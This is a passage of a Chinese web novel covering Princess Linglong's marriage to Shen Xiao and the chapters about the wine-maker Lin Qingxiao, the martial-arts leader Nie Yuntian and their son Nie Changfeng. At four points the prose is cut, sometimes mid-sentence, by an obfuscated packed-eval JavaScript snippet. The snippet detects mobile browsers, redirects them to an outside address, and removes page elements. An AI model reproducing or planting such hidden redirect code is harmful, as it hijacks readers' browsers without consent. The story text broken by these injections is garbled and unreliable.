只是,最可能的地方也是看似最不可能的地方,玲珑却独独忘了,沈笑就在自己身边。 寻他无果,玲珑甚至走起了偏门歪道,听说鬼市的消息准确度很高,壮着胆子一个人去了鬼市。 鬼市绿幽幽的灯火瞧着她的心里直发怵,可她丝毫没有打退堂鼓,一想到那个不知所踪的沈笑,她的心里徒添了不少的勇气。 “醉红楼。”玲珑花五百两买到了三个字。 怎么可能!他竟然在醉红楼,那么他为什么不出现在她身边,他到底是在干什么? 本以为是一场虚,玲珑自鬼市归来以后,第二天竟然真的在最红楼看见了沈笑。他那日没有身着红衣,只是跟着江子执身后,双目无神,形似傀儡。 玲珑甚至还注意到了,他们两人牵在一起的手。 她的沈笑是怎么了? 碍于醉红楼其他势力眼线众多,玲珑也没有多问,看见他就好了,而且她相信,这次他的出现,绝对是刻意的,可能只是向她传递着平安的讯息。 看到沈笑的那一刻起,玲珑如此急切地想要回到皇宫里,回到他身边,她布了一个很大很大百转千回的局,只等左相上钩。 虽然其中也有风险无数,但她还是决定冒险一试。 好巧不巧,聂长风这个时候出现了,连杀两名朝中重臣,还都是左相那边的势力…… 这个向来宣称独立于朝野之外的组织,竟然插手了,玲珑想了很久,也不知道他们意欲为何。 敌不动,我不动。玲珑本以为这是千机楼新战略,却听得沈笑一句邪狂的笑声:“或许他可以为我们所用。” 玲珑这才知道,原来,千机楼主聂长风搅进来,仅仅是为了博心爱的女子无意一笑。 听到沈笑一五一十地汇报着最新的进展,玲珑不禁为之一叹:“这个千机楼,不简单呀。” 因为千机楼的加入,左相这件棘手的事,不出一周便迎刃而解,相对于计划中的大动干戈,他们这次是不费一兵一卒。 玲珑简直是对这群突如其来的人儿佩服到五体投地,沈笑却不以为然:“一群以杀人为乐的家伙,有什么好羡慕的?” “可是听你所言,杀手也是有情有意的,我看聂长风对无意姑娘,就很好呀。”玲珑满脸的花痴相,说得头头是道。 沈笑并不回答,转身而去,心里念着,这是春天快要来了,莫非她心中也有了思念的人儿?想到这,沈笑心中莫名地难过。 玉轩枫答应过玲珑,等这次的风波一结束,她便可以回归到皇宫之中,他没有食言。 皆大欢喜,但凡此次左相事件有功者,玉轩枫都大大地赏赐了一番,直到他的皇妹玉玲珑双目含泪,一脸委屈地望着他。 有一瞬间玉轩枫差点忘了,他最该赏赐的人,是自家皇妹玉静姝。十年了,她一味地付出着,让玉轩枫觉得都有点理所当然。 只是,他亏欠她的实在太多太多,这些亏欠,是任何金山银山都弥补不来的,况且,玉玲珑向来是锦衣玉食,也不愁吃不愁穿,更不会缺银两,她想要什么,他这个当皇兄的一时也有点琢磨不透。 若是她想像玉龙吟一样置身于朝野之外,玉轩枫为难,到底该不该答应她呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244505|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玉轩枫突然想到了玲珑儿时跟她开的一个玩笑:“若我是男儿,这太子之位,可就没你的份了。” 是啊,他一直都仰仗着自家的皇妹,太依赖太依赖,若是没有她,他的皇位早就坐不稳了。 还好玲珑祈求的是一段赐婚,驸马不是别人,正是沈笑。 玉轩枫沉思了一会儿,二话不说就准了,他的小玲珑长大了,早就过了该嫁人的年纪了,是他这个做兄长的疏忽了。 其实玉轩枫也是有私心的,他想让玲珑一直留下来,可以为他打点些宫中诸事,还好,驸马是沈笑。 玲珑领了圣旨,欢快地跑到沈笑跟前,一把搂住他的胳膊,撒娇道:“驸马驸马,皇兄已经下旨了,从今天起,你就是我的驸马了。” 沈笑也不意外,反而问了句:“所以公主这是赖上我了?” 玲珑呼呼地叉了叉腰:“怎么,你还不愿意了?” “没有,沈笑身份低微,配不上公主。”沈笑的语气淡淡地,不悲也不喜。 只要玲珑开心,管他什么驸马不驸马的,他做什么其实都无所谓。 玲珑美眸微转,一股子霸道之气油然而生:“那你想要当什么官,我现在就去让皇兄给你封。” “我,”沈笑顿了顿,沉思了一会儿:“我想做公主的护卫。” “好,本公主替他准了。” 玉宵国迎来了一场特殊的国婚,玲珑公主成亲,驸马不是别人,正是公主身边的护卫沈笑。 公主成亲那天规模宏大,阵容堪比皇帝迎娶皇后,当然,这一切都是玉轩枫安排的,毕竟,他亏欠自家皇妹太多。 百姓们皆言,玲珑是个为国为民的好公主,不论她嫁给了谁,只要她幸福快乐,就是玉宵国最好的福音。 沈笑成了玉宵国第一个带兵打战的驸马,他本就在军营扎根两年,又拜了最好的将领为师,指挥部队上阵杀敌,于他而言简直是游刃有余。 同年,边关告捷,驸马沈笑带兵一扫花迟、日辄两国余孽,举国欢庆。 左相造反一事解决后,玉宵国迎来了前所未有的繁荣,国力重回十几年前的巅峰,边境一时安稳,没有任何战事,沈笑就带兵回到念城休养生息。 李连城墓前,沈笑倒了一壶酒,跟往常一样絮絮地说道:“师父,徒儿又来看你了”。 师父这一走,已经有十四年了。 玉玲珑小腹微微隆起,小心翼翼地跟在他身后,生怕自己的到来会影响他们师徒二人叙旧。 沈笑一回头便看见了她,皱了皱眉,不是让她在家好好养胎的吗?她怎么来了?玉玲珑一向大条,做事不拘小节,万一不小心伤到了他俩的孩子怎么办? 看到他面上阴晴不定的神色,玲珑打趣道:“你怎么又皱眉,跟个苦瓜脸一样,沈笑沈笑,你干脆改名字叫沈哭好了。” 沈笑默念道,沈哭就沈哭呗,只要他的玲玲开心,他叫什么其实都无所谓。 沈笑一把搂过她的腰:“是,公主大人说得都对,我这就回去改个名字。” 微风拂过,女子笑靥如花:“逗你的呢。” 沈笑看得醉了,心里默念道:师父,玲珑,这江山,我来替你们守护。 50. 落梅簪① 林青筱心里有着一片江湖,在那里,江湖儿女纷纭,他们皆腰佩长剑,快意恩仇,鲜衣怒马。 所以她从看见慕卿的那一刻起,就觉得,面前的这个女子,就是她的江湖。 只因为慕卿酿得一手好酒。 喝酒吃肉,大快朵颐,便是江湖儿女的性情。 林青筱不懂酒,可她还是被慕卿的那壶酒馋得直流口水,脱口而出问道:“老板,这是什么酒呀?真香!” 慕卿当时正聚精会神地研究着一种传统的古酒的酿造之法,听到了林青筱的声音,冰冷的眸子里闪过一丝狐疑,纤长的手指划过面前的一卷古籍,许久才淡淡地答了一句:“桃花劫。” 因为贪嘴,林青筱喝得烂醉如泥,慕卿在一旁冷冷地看着她,也不阻拦。 慕卿性子冷淡,不喜欢与人交谈,按理说,应该不会和面前的女子有太多的交集,也就任由她自娱自乐,没管她太多。 可第二天林青筱一醒,就缠着慕卿,非要缠着拜她为师,说是要学习桃花劫的酿造之法。 慕卿为之一惊,呵,哪来的女子,胆子倒是不小,满坛子桃花劫直接下肚也就算了,现在还说要留在望南山。 谁不知道,望南山闹鬼,但慕卿也不想吓着她,大概是因为看她一个人跑上山来也不容易。 “青筱,你酿不成这个酒的,因为你不懂。”慕卿随即就给她泼了一盆冷水。 不止是林青筱,连她自己都酿不成这个酒,这种她取名“桃花劫”的酒,根本不是出自她手,就那么十几坛,每一坛都是绝品,喝完了就没有了。 林青筱听她这么说着,也不好奇原因,扯着慕卿的鹤氅的一角,眼中闪烁着期待的光芒:“那师父你可以教我别的吗?” 世间美酒,又不是只有一个桃花劫,林青筱嘟囔着嘴,心里想着。 “我可没收你为徒。”哪知慕卿当场又给她泼了一盆冷水。 林青筱性子倔,也不依她,就堵在她的小酒肆门口:“你不收我为徒,我就不让你做生意了!” 正是初春,山间寒风料峭,慕卿无奈地摇了摇头。这个姑娘,大概是外地人吧,本地人都知道,望南山闹鬼,她把酒肆开在山上也是为了图一片清净,别说是买酒,呵,除非是被肚子里的馋虫勾到的酒鬼,寻常人有勇气上望南山的人都并不多。 也不知道这个姑娘为什么要闯进来,慕卿也懒得跟她解释什么,想着过两天她就会自己离开这里的吧。 自从心上的那人走后,慕卿就觉得,这世上的一切,不过云云尔尔,只要看得够淡,便没有事能成为你的心结。 她慕卿也是经历过大风大浪的女子,区区一个林青筱又能奈她如何?想着如此,慕卿也不搭理林青筱,任由她去了。 突然,门口的林青筱打了一个喷嚏,慕卿抬头望了望搬了张小木凳傻傻地坐在门口的那人,说道:“进来吧,别着了凉。” 林青筱欢喜地挪着凳子进了屋:“那师父答应收我为徒了?” “没有……”慕卿专注于研究书中的知识,也不看她,薄唇轻吐出两个字。 林青筱不服气了:“你若是不答应,我就赖在这里不走了,吃你的喝你的,直到你答应做我的师父为止。” 慕卿甚至都不抬眼看她:“那你赖着吧。” “……” 林青筱无语了,无论她怎么样,慕卿都是出乎意料地淡定,眸中不起任何波澜。 慕卿的小屋里,除了吃的,就只剩下酒了,林青筱终于明白了慕卿那云淡风轻的态度是从何而来,因为她有大量存货!任性! 终于,一周后,慕卿的存粮被林青筱吃得差不多了…… 慕卿只是觉得家中进了一只无敌大耗子,吃她的粮也就算了,还吱吱喳喳的吵个不停很不安分。 “青筱,你随我下山去采购吧,家里能吃的东西不多了……”慕卿终究是摁耐不住了,向林青筱提议道。 林青筱正在和面,用沾满灰面的手抹了抹额上的汗珠,应了声:“好。” 慕卿不懂,为什么这个女子可以心安理得地住在这里,她的家呢?她的家人呢?他们不担心她吗? 林青筱倒是觉得无所谓,要脸干嘛,脸皮厚又不能当饭吃。他们嫌弃她都来不及,哪来的关心?那么多人都觉得她多余,只有在慕卿面前,她才感受到了人世间的些许温暖,尽管二人并无血缘关系,慕卿尽管冷淡,却从没说过一句类似让她走的话。 两人组队下了山,慕卿卖了几坛子的酒,换了十几两银子。 这些钱,可以够两个人好吃好喝用上大半个月。 林青筱看到了白花花的银子,心里开心,激动地一把搂住慕卿的脖子,“吧唧”啄了一口:“师父真棒!” 慕卿的酒,自然是寻常酒家所不能匹敌的,寻常的酒,一坛子只值几十文钱。 慕卿抹了抹脸上的口水,在心里默问道,棒吗?除了酿酒,她什么都不会,毕竟那个人除了酿酒,别的什么都没教她。 有了银子,慕卿立马就去了集市,林青筱仿佛条影子一样跟着她,不离不弃。 “这个,这个,这个……”慕卿不断地把手边看中的东西递给林青筱。 林青筱望了望臂中的重物,欲哭无泪,自家师父这是要花完十几两银子,把小半个集市搬回去呢? “师父,我拿不下了……咱们过几天再来买好不好?”林青筱捡起一个掉落在地的包裹,堆回手里,紧接着,另外一个包裹骨碌滚了下去,欲哭无泪,终于开口提议道,尽管慕卿带着她出来采购她是高兴的,她也不想扫了她的兴。 慕卿冷眸扫了她一眼,捡起她掉落在地的包裹,应允了。 林青筱终于知道她为什么非要一次买这么多了,因为慕卿是个路痴。 慕卿拎着大包小包,健步如飞,白色的长裙应景地飘逸着,林青筱像个仆从,也是拎着大包小包,苦兮兮地跟在她身后。 林青筱看着她走进一个偏巷,有些摸不着头脑,明明刚才她们来的时候走的不是这条路啊。于是她加快了步子,追上慕卿:“师父咱们这是去哪儿呀?” “回家。”慕卿语气薄凉,有着一股子看破红尘的不喜不悲。 林青筱给她指路:“师父,回家的路在这边。” 慕卿也知道自己走错了路,马上调了方向,又大步流星地走着。 林青筱跟着她身后,苦不堪言:“师父你慢点,我快跟不上了,哎哟,哎哟……” 林青筱心里却是很欣喜的,莫非师父是个练把子,这么多东西带在身上还能走得气定神闲,赶明日一定要探探她的底,跟着她学上一招半式的。 “哦。”慕卿只是浅浅地答了一句,随即放慢了步子。 林青筱也只是想想而已,慕卿从来不敢在她面前练剑,她怕林青筱嫌她丢人,尽管酿酒她学得很快,但是练剑她怎么都学不会,恐怕是没那个根骨。 没过一会儿,到了一个分叉路口。 眼见着慕卿又走错了道,林青筱腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244506|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出半只手来把她往另一边拽:“师父你又走错了,是这边。” 慕卿:“……” 原来,路痴才是她家师父不爱出门的原因,林青筱觉得自己以后有义务当起师父的小地标,多带她出来看看外面的世界。 慕卿终于答应了教林青筱酿酒,原因有二,一来自己白供林青筱吃喝不划算,二来林青筱厨艺了得,有个大厨在身旁,自己也能饱饱口福。林青筱伴在她身边,一口一个“师父”地叫着,欢喜得不得了。 林青筱闲时便带着慕卿下山玩,慕卿毕竟是小女生心性,有时候会露出久违的笑容,林青筱看在眼里,喜在心里。 住的时间久了,林青筱也听得些流言蜚语:“师父,为什么他们说望南山闹鬼呀?” “我就是那个鬼,你怕不怕?”慕卿目光幽幽的,直直地盯着林青筱看。 林青筱被看得心里发怵,一把扑过去抱住慕卿:“师父你别这样,我怕!” 慕卿微微地叹了口气,哪里有什么鬼,世上最恶的鬼,哪里敌得过人心险恶。 望南山的那个“鬼”,还真的与她有关,不久前,望南山异香弥漫,也是打那以后,她,慕卿,甘愿化作一只隐居深山的“酒鬼”。不过凡事总有些例外,总有些胆子大不怕鬼的人上山寻宝,意外地发现了她这个小铺子,一传十,十传百,她这小酒肆生意倒也不错,慕卿便一直宅在山上,也不下山。 直到遇见林青筱这个意外。 又春,林青筱又忆起了慕卿的桃花劫。 正是桃花初开的季节,林青筱满心欢喜地采了一大筐子桃花,满心欢喜地摆弄着,慕卿只是静静地瞥了她一眼,并没有说话。 待酒成,林青筱迫不及待地盛了一碗,小呡了一口,皱了皱眉头。 师父说的是真的,她真的酿不成桃花劫,一坛又一坛的桃花酒,不及师父的千分之一。虽说酒是陈年好,师父的那坛子桃花劫定是有些年岁了,可她连师父的桃花劫最初的胚子都没办法还原。 她折腾累了,抱着面前的酒坛子睡着了。梦里,全是师父酿的桃花劫酒香。 可自从那几壶桃花劫之后,林青筱就再也没有见过桃花劫,她得了空,便问自家师父:“师父师父,你其他的桃花劫呢?” 慕卿语气平平:“没了,都被我喝了。” 许久她又喃喃道:“他走了,人散了,我也酿不出了。” 林青筱听这句话听得云里雾里:“师父?谁走了?” 慕卿也不回答她,转身而去,留下了林间幽幽的一抹绿。 望着她远去的背影,林青筱抓着脑袋懊悔了好久,早知道,她应该早点上山的,或者省着点喝的。 后来林青筱学会了酿很多酒,桃花劫的事情慢慢地被她遗忘在了脑后。 一转眼,三年过了,林青筱长高了好大一截,已经与慕卿齐高了。 慕卿也不吝啬,她会的都倾囊相授,林青筱这个鬼丫头古灵精怪,悟性却也极高,学什么都快,她有时候都恍惚,是不是她这个做师父的学艺不精,不然怎么这么快就被那个鬼丫头掏空了家底? “你出师了,下山吧。” 慕卿喜静,一直嫌她聒噪,说是出师,其实是图个耳边清净。 林青筱满心欢喜地朝慕卿叩了叩首,道了句“师父保重”,就溜下了山。 她本来就爱自由,浪迹天涯是她这辈子的志向,自由无羁才是她心向往。在望南山,不过是遇见了慕卿,她脚步才有所停留罢了。 51. 落梅簪② 要问林青筱诞生出“浪迹天涯”这个想法的起因在哪里,还得从她的家世说起。 林青筱出生于大户人家,是偏房的女儿,爹喜欢儿子,对府里的儿子们宠爱有加,却对女儿们视若无睹。连青筱她娘也埋怨她不争气,本就是侧房,还偏偏是个女儿,要是个儿子,说不定自家老爷就会多宠爱她一些,为此,她都不会多看林青筱几眼。 受惯了欺凌冷眼和毒打,林青筱偷了家里的一千两银票,把它们存在了钱庄,以备不时之需,潇潇洒洒地开始了她的漂泊之旅。 本来就是个女儿,丢了就丢了,林老爷也懒得派人去找,不过是一千两银票,他林府有的是钱。 林青筱羡慕那些江湖儿女的快意情仇,没有勾心斗角,所以她一直都在苦苦追寻着那一片江湖。 慕卿是林青筱的江湖过客。 直到遇见了聂云天,她才明白,真正的江湖,没有她想象的那么美好。 慕卿所在的国家叫耿安,是一个夹在玉霄、花迟、日辄三大国中间的小国。 耿安因处在三国之间,是关卡要塞,乃贸易的必经之地,不仅如此,耿安还有着丰富的矿物资源,大量的铜铁矿,为铸练兵器的不可或缺之物。为此,三国你争我夺,互不相让,并为此多次开战,百姓叫苦不堪。 后来在三国的一致协商下,便将其独立成了一个小国,任其自生自灭。 万万没想到,耿安凭借其天然的矿产资源和得天独厚的地理条件,发展蒸蒸日上,历史上曾一度有赶超三国其一的趋势。 林青筱也是耿安国人,可她还是选择了离开,毕竟这里留下了太多不开心的回忆,她选择把它们都舍弃掉,一心一意去追寻她的江湖。 和慕卿告别后,林青筱拿着她从家里偷的一千两银子只身去了玉霄国,又凭着慕卿倾囊相授的酿酒本事,开了一家酒肆。因为酿酒手艺精湛,生意火爆,每天来找她买酒的人不计其数。 林青筱数着白花花的银子,笑得眉眼弯弯,心里有点惋惜自家师父,要是她肯早些时日就离开望南山,指不定已经是个家财万贯的小富婆了呢。 酒是不少江湖豪杰的必备之物,林青筱也因此结识了不少江湖人士,听他们讲着快意恩仇、策马驰骋的故事,林青筱好不向往。 当然,江湖之人发起酒疯来,破坏力也是不可小觑的,弹指间便是灰飞烟灭,林青筱正是为此,邂逅了聂云天。 那日一个酒客喝得酒气熏天,开始发酒疯,满屋子掀桌子抡凳子的,吓走了不少的酒客。 林青筱无比心疼,啊,她的银子啊…… 她却从心底里鄙视这种男人,本来酒量浅,酒品又不好,奈何人家银剑在手,寒气逼人,不得已只能往后挪了挪。 林青筱有时候心里恨啊,自己不是江湖人式,不会个一招半式的,不然像这种人,她一定教训到找不着北。 无奈,只能远远地躲在柜台之后,露出一双惊恐水灵的眸子。 聂云天就是这个时候出现的。彼时他喝得微醺,看到有人在闹场子,“噌”地一下从座位上立了起来,用迷蒙的眼扫了扫周围人,目光定在那个男人身上。 只一眼,便不威而怒,瞥得周遭酒客皆噤若寒蝉。 下一秒,将手中的长剑怒拍在面前的桌子上,那桌子立马变得四分五裂,震得闹事者尿了裤子。 果然,这世间的人都是怕恶欺善的。此情此景,让林青筱拍手称快,也对聂云天多了几分敬慕,心里便开始默认:这是个大侠。 聂云天的确是大侠,是玉宵国内叱咤风云的武林盟主,别说其他武林世家,就连朝廷也要让三分薄面。本着井水不犯河水的原则,武林世家们和朝廷早就相互约定,彼此之间,各行其道,互不干涉。 林青筱本就生得貌美,性子里也带了几分江湖儿女的豪爽,在她精心策划的几次“偶遇”后,聂云天终于和她熟识了。 自古英雄配美人,林青筱自诩自己和聂云天很般配,却忘了还有红颜命薄这回事。 加上林青筱,聂云天一共有四任夫人,个个都生的出脱水灵,跟妖精似的。 大夫人二夫人倒是习以为常,对她的出现视若无睹,可偏偏三夫人不依不饶,处处为难林青筱,聂云天见了,每每将林青筱从困境中解救出来,还不忘训斥三夫人一番。 喜新厌旧是男人们惯用的套路,就连威风凛凛的武林盟主也不例外。 举案齐眉,赌书泼茶,成一段旖旎缱绻。 好景不长,半年后,聂云天的第五任夫人来了,而彼时,林青筱已经有了身孕。 还是天真,入世未深被骗了感情,时间一长,周遭人便对她指指点点,聂云天也不管不顾,忙着和第五任夫人你侬我侬,郎情妾意去了。 可偏偏林青筱不信这个邪,有一个人对她有一点好,她就巴不得把命给他,她小心翼翼护着肚子里的这个小生灵,指望着他能替她留住聂云天的心。 聂家五位夫人,大夫人膝下有一子一女,二夫人膝下并无子嗣,三夫人膝下有一女。 直到儿子聂长风诞世,聂云天也没有回心转意,日日和五夫人厮混,却偶尔来尝尝林青筱酿的酒。 果然,想收服一个男人的心,还要抓住他的胃。 聂长风倒也争气,和聂云天一样颇爱舞刀弄剑,没事就把大夫人家的儿子欺负得屁滚尿流。他却也害怕聂云天,才小小的年纪,就分得清爱恨情仇,看得出他爹眼中对他娘的疏离。 聂云天看着挥刀舞剑的小儿子,有些惊喜,连连称赞道“不错不错,有你爹当年的风范”,便把他压箱底的秘籍都拿出来给了聂长风,任由他自己学习。 林青筱依旧酿酒。聂云天的山庄里有一大片桃花林,林青筱在这头酿酒,回头就看见那头花丛中缠绵的二人,呆了很久,任由微风吹拂下枝头上大朵大朵的桃花跌落在酒里。 漫天飞舞的桃花,都在眼前化作一片朦胧,大颗眼泪肆虐地滚进酒里。 “吧嗒,吧嗒”的声音,吓得林青筱身躯一震,糟了,她的酒。林青筱马上回过神来,捞起漂浮着的桃花,就迫不及待地去尝酒有没有杂味。 一盏入喉。 这熟悉的味道!有些师父几年前曾给她喝过的那种名叫“桃花劫”的酒的影子。 原来,桃花劫不是桃花酒,而是一个女子的伤心泪,是她酿给所爱之人的酒。 原来,聂云天就是她的桃花劫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别,别喝……”林青筱本来想阻止他,却因为毒效发作,完全使不上力气,挣扎着从他怀里跌落。 “青娘,我不怪你。”聂云天扯了扯嘴角,露出一个痞里痞气的笑,望着她,眸光温柔,尔后将手中的酒一饮而尽。 “真好,最后陪你死的是我。”林青筱看着面前的人一点点地虚脱,和她肩靠肩并列坐在地上,嘴角洋溢着肆意的笑。 她做了一个很长的梦,梦里只有她一人,和聂云天携手白头。 哼,哪里有什么白头,不过是被雪迷了眼眸,林青筱带着自己最后一点清醒的意识,嘲讽了自己一番。 据说人死前会唤起生前最美好的片段。林青筱突然忆起初遇聂云天的那一年,他亲手给她雕的木簪子,簪子上的那一点红,是他不小心割破手指时流的血,他以鲜血为底色,索性刻了一朵梅花在上面,给簪子起了个名字叫“落梅簪”。 殊不知,那小小的一抹红,自相遇的那个雪夜起,开遍了林青筱的碧玉年华。 他说,执子之手,与子偕老。 她信了。 52. 落梅簪③ 甜言蜜语最廉价,却也最能魅惑人心,让人心动,让人心痛,明知身前是无边的沼泽,却让人步步沦陷。 聂云天突然来了兴致,说她不会武功,要教她一招半式用来防身,林青筱却已经幻想着和他仗剑走天涯。 他贪念她的酒,不过是酒酣时的满足,他眉眼间的笑,却被她尽数捕捉,她以为那是情深。 一句“执子之手、与子偕老”误了终身,不知从何时起,她的生活,全部就只剩这个男人了。 想到这里,林青筱轻叹了口气,终究是天真了,不过是几句花言巧语,她却自导自演,妄想陪他过完一生。 那日的风很大很大,漫天的桃花飞舞着,林青筱渐渐在那个相遇的雪夜梦境中睡去。 …… “娘——”聂长风撕心裂肺的长啸被风撕扯着,回荡在空寂的云谷。 他本来新学了一套剑法,想给林青筱展示的,却看到自己的娘和爹躺在一起,不省人事。 林青筱最后活了下来,医她的大夫微微叹了口气,感慨道:“还好送来得及时,毒量也小。” 聂云天却因服毒过量,不治身亡。 聂长风抱着才苏醒的林青筱,鼻涕眼泪哗哗地往下掉:“风儿没有爹的疼爱,风儿不能再没有娘了。” 林青筱望着伤心欲绝的聂长风,怒吼了句:“男儿有泪不轻弹,你忘了你爹跟你说的了,哭什么哭!” 话虽如此,林青筱还是嘴硬心软的,想了想,是啊,可怜的孩子,她还有个儿子,她和聂云天的孩子。孩子终究是无辜的,她不能弃他而去。 不过她做了一个很疯狂的决定——她要开一家青楼,名叫醉红楼,专招纳年轻貌美的女子,因为在林青筱心目中,这世间所有比她貌美的女子,都该死,是她们抢走了她的聂云天。 聂长风虽觉得不妥,但是又害怕娘再次想不开,拼命地练习武艺,只为了护她周全。 聂长风在死人堆里摸爬滚打,慢慢地聚集了一批势力,成立了江湖第一杀手组织——千机阁。不过是寥寥十几口人,行动起来声如鬼魅,形同烟云,让不少人闻风丧胆。 纵使聂长风心如高墙,密不通风,只有他自己知道,他唯一的软肋,就是林青筱,他把这个秘密掩饰起来,只为了林青筱不伤到一丝一毫。 云深、水袖……聂长风也不知道自己往千机楼派去了多少人手了,聂长风给她们唯一的任务就是维护好醉红楼的治安,他甚至都不敢跟她们说,是为了保护林青筱。 聂长风很忙,基本上没什么时间去醉红楼,只是听着探子们汇报醉红楼的一切动态。比如说,某日楼里新来了个叫林月萌的女子,某日楼里新招了个弹琴的使女,楼里总会有个红衣的花花公子,也会有个白白净净的文弱书生…… 这里面,有时候根本连林青筱都没有提及,但聂云天知道,她一定会好好的,因为她并不是手无寸铁,那个叱咤风云的男人,曾经亲手教她武功。 偶有一次,聂长风得了闲,好奇这让人醉生梦死的人间圣地究竟为何样?便戴了面具,独自去了醉红楼。 林青筱拿来了最好的酒招待他,聂长风冷着眸,薄唇轻吐“乌烟瘴气”四个字。 林青筱也不反驳,又替他斟了一碗酒,笑意明媚地问他:“风儿,你知道什么是江湖吗?” “江湖?江湖就是我坐着的这块地儿,喝着的这壶酒。”聂长风抱着眼前的酒坛子,一饮而尽。 林青筱笑自己年少时傻,什么江湖,怕是脑子里进了浆糊吧,除了慕卿的酒,她觉得自己后来遇见的一切,都不是她心中那个真正的江湖。 不知怎的,聂长风如同他爹一般,爱极了林青筱酿的酒。 醉红楼,千机楼,林青筱突然发现,不知道什么时候开始,她和她的风儿,都回不去了——他们都被陷在某种执念里,为了达成某种目的不惜运用一切手段,偏执得与世隔绝。 而随着聂长风一天天长大,那副面容像极了他爹,林青筱每每看着,都暗自垂泪。 聂长风也发现了其中的端倪,每次去见林青筱的时候,都戴着一副面具。 俗话说,眼不见,心不烦。 这一举动弄得林青筱哭笑不得:“你这又是何必呢?” 林青筱看不清他面具后的面容,却能清楚地感受到那清冷薄凉的气息,比聂云天更甚。 “怕你伤心。”语气也是薄凉,林青筱害怕,有一天聂长风会变得连自己的都不认识了。 手上沾满了鲜血,心中没了是非善恶,除了杀戮,只剩下杀戮。 聂长风倒也无所谓,林青筱是他在世上唯一的亲人了,他做的一切,都是为了这个跟自己血脉相连的女人。夺权夺势,只为了她不再受半点委屈。 其实,林青筱选择醉红楼这块地儿,是有原因的。 当初卖她客栈的老板极力向她推荐,客栈下面有个窖洞,联通到一处奇特的山脉,四周都是寒石,适合储存食材,毕竟低温下食材不易腐烂,开客栈什么的最好不过了。 聂云天死后,他的其他四位夫人如鸟兽散——本就是彼此的天涯过客,却因为流连,多看了彼此一眼,铸就了一段孽缘。 只有林青筱,捡走了他的尸体,把他藏在了醉红楼天然冰洞的水晶棺里,好生保管着,有事没事常来看看他,跟他唠唠家常。 真好,这样的他,虽然不会再言语,也不会笑,却能真真切切地伴着她,一步步,走向白头。 他是天下人的武林盟主,是万千女子心目中的梦中情人,终于终于,他只是她一个人的聂云天了。 林青筱得了空,又来看他,却趴在水晶棺上,一不小心却睡着了。 依稀梦里,他身佩长剑,衣裾飞扬,唇上含笑,在漫天飞雪中,一步步、一步步,向她走来。 真美啊。 聂长风在醉红楼里找不见林青筱,知道了她肯定又去了酒窖的密室,便前来寻她,见林青筱睡得正酣,蹑手蹑脚将自己的外衣脱给了她盖上,忍不住又瞧了瞧水晶棺里的那个人。 又下意识摸了摸自己的脸,这眉眼,轮廓分明,这人,分明跟他就像一个模子里刻出来的,只是,自己面容是热的,那人身上是冷冰冰的。 明明没多大动静,林青筱却兀自醒了,她摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244508|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸身上的外衣,知道是他来了。 “风儿啊,你什么时候也娶个妻子,免得老了还是一个人,孤零零的,怪可怜的。”林青筱望着那具透明的水晶棺,喃喃道。 “哦。”聂云风不以为意,随口答了句。 “咱们醉红楼的姑娘就很多,你可是瞧上了哪个?为娘帮你牵牵线。”哪知林青筱默认他是同意了,对此事还上了心。 聂长风:“……” 林青筱见他不说话,又开始絮絮说着一些往事,聂长风也不插嘴,只是静静地听着,偶尔颔首应和一句,表明他还在听。 “你啊,记得要找一个会武功的姑娘,你身上的业障多,指不定哪个仇家寻上门来,人家姑娘可不能白白做了你的替死鬼。” “知道了。”聂长风有些无奈地答了句,不过是她一厢情愿的想法,他却不知道怎么推脱了。 若真是畏惧业障,他又何必娶妻生子呢?再说了,千机榜首,他聂长风排第一,难道连自己的女人都保护不好? 只是一个人久了,有时候,他觉得这种突然的羁绊是徒劳的。 人与人啊,从某天的相遇,到相识相知,再到相离,不过是一个轮回往复,徒添寂寞罢了。譬如他的爹和娘,就没有善终…… 他害怕这种羁绊,却更害怕林青筱会失望,并不敢拒绝她。 某日林青筱把聂长风丢在了醉红楼,聂长风有些气不过,在大厅里一杯杯喝着闷酒,好巧不巧,沈笑一把撞了上来。 他本就喜静,不想有人打扰,可偏偏有人触到了他的逆鳞,那一刻,聂长风想杀人…… 他吓得四周人安安静静的,大厅里鸦雀无声。 